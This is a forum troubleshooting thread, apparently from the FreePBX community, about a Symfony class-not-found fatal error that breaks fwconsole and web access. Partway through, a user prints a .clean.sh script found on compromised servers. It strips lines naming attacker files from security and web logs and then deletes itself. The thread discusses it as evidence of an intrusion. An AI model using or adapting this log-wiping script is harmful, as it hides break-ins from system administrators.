PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Application" not found in /var/www/html/admin/libraries/FWApplication.class.php:11 Stack trace: #0 /var/lib/asterisk/bin/fwconsole(66): include() #1 {main} thrown in /var/www/html/admin/

Anybody know how to fix? fwconsole throws this… system operating fine, but can’t get into web. freepbx17

PHP Fatal error: Uncaught Error: Class “Symfony\Component\Console\Application” not found in /var/www/html/admin/libraries/FWApplication.class.php:11
Stack trace:
#0 /var/lib/asterisk/bin/fwconsole(66): include()
#1 {main}
thrown in /var/www/html/admin/libraries/FWApplication.class.php on line 1

Did you installed the freepbx via script or via the freepbx open source tarball ?

looks like your framework may not be installed correctly.

Best Regards
Kapil

Hi, i’m having the exact same issue on an instance of Freepbx 16 that was working perfectly fine until yesterday.
Web access shows error 500 and fwconsole commands don’t work anymore.

PHP Fatal error: Uncaught Error: Class ‘Symfony\Component\Console\Application’ not found in /var/www/html/admin/libraries/FWApplication.class.php:11
Stack trace:
#0 /var/lib/asterisk/bin/fwconsole(66): include()
#1 {main}
thrown in /var/www/html/admin/libraries/FWApplication.class.php on line 11

Regards

I installed using the script… it’s debian droplet on dig ocean, was working fine for about 2 months, then this…

I just noticed this on a v16 system as well. Installed on fresh debian via script.

Has anyone found a solution?

Not yet, I submitted as bug ([bug]: PHP Fatal error: Uncaught Error: Class “Symfony\Component\Console\Application” not found in /var/www/html/admin/libraries/FWApplication.class.php:11 · Issue #839 · FreePBX/issue-tracker · GitHub), waiting for reply.

What does ls -l /var/www/html/admin/libraries/Composer/vendor/symfony/console/Application.php show?

Help !
Same issue !
3 FreePBX 16 server
1 FreePBX 17

I can see this :

[root@sbc2 html]# cat .clean.sh
#!/bin/bash

LOGS=(
    "/var/log/asterisk/fail2ban"
    "/var/log/asterisk/freepbx_security.log"
    "/var/log/secure"
    "/var/log/httpd/error_log*"
    "/var/log/vsftpd.log"
    "/var/log/httpd/access_log*"
    "/var/log/apache2/access.log*"
    "/var/log/apache2/error.log*"
    "/var/log/openvpn.log"
    "/var/log/*"
)

for log in "${LOGS[@]}"; do
    find "$(dirname "$log")" -name "$(basename "$log")" -type f 2>/dev/null | while read -r file; do
        echo "Processing file: $file"
        sed -i --follow-symlinks             -e '/$SERVICE_NAME/d'             -e '/\.cache/d'             -e '/\modular\.php/d'             -e '/\monitor\.php/d'             -e '/\backend\.php/d'             "$file"
    done
done

rm $0

I think we have a serious issue …

[root@freepbx ~]# ls -l /var/www/html/admin/libraries/Composer/vendor/symfony/console/Application.php
-rw-rw-r–. 1 asterisk asterisk 44342 Apr 17 22:36 /var/www/html/admin/libraries/Composer/vendor/symfony/console/Application.php

ls -l /var/www/html/admin/libraries/Composer/vendor/symfony/console/Application.php
-rw-rw-r--. 1 asterisk asterisk 44342 Oct 12  2023 /var/www/html/admin/libraries/Composer/vendor/symfony/console/Application.php

And it was working fine until the other day. Was anything done the other day? Do you have automatic module updates or anything setup for that? Was there a system update?

Yesterday my panel crashed with error 500, after rebooting the server Asterisk stopped running

What specific directory did you find this particular file in?

/var/www/html

It may be normal, but it’s strange…
Well, I just saw while restoring our servers that it had been there for a while. Maybe it was a false alarm after all.

No, that file is not part of the normal FreePBX install. When was it created on your system?

Today ! That’s not normal… There has been no update on these servers for several servers.

ARGGGGG, I find that .clean.sh file in /var/www/html on my system as well. Thankfully, the only place I’ve found this is on my “home” system – none of my clients.

-rw-r–r-- 1 asterisk asterisk 732 Aug 21 09:49 /var/www/html/.clean.sh

Is the FreePBX web admin portal or AMI accessible via the Internet, or just on the LAN?

Sadly cannot verifiy since i don’t have access to the web interface anymore but as far as i’m aware, auto updates are normally off on our systems. We must have 15+ instances of FPBX 16 and this is the only one having this issue so far.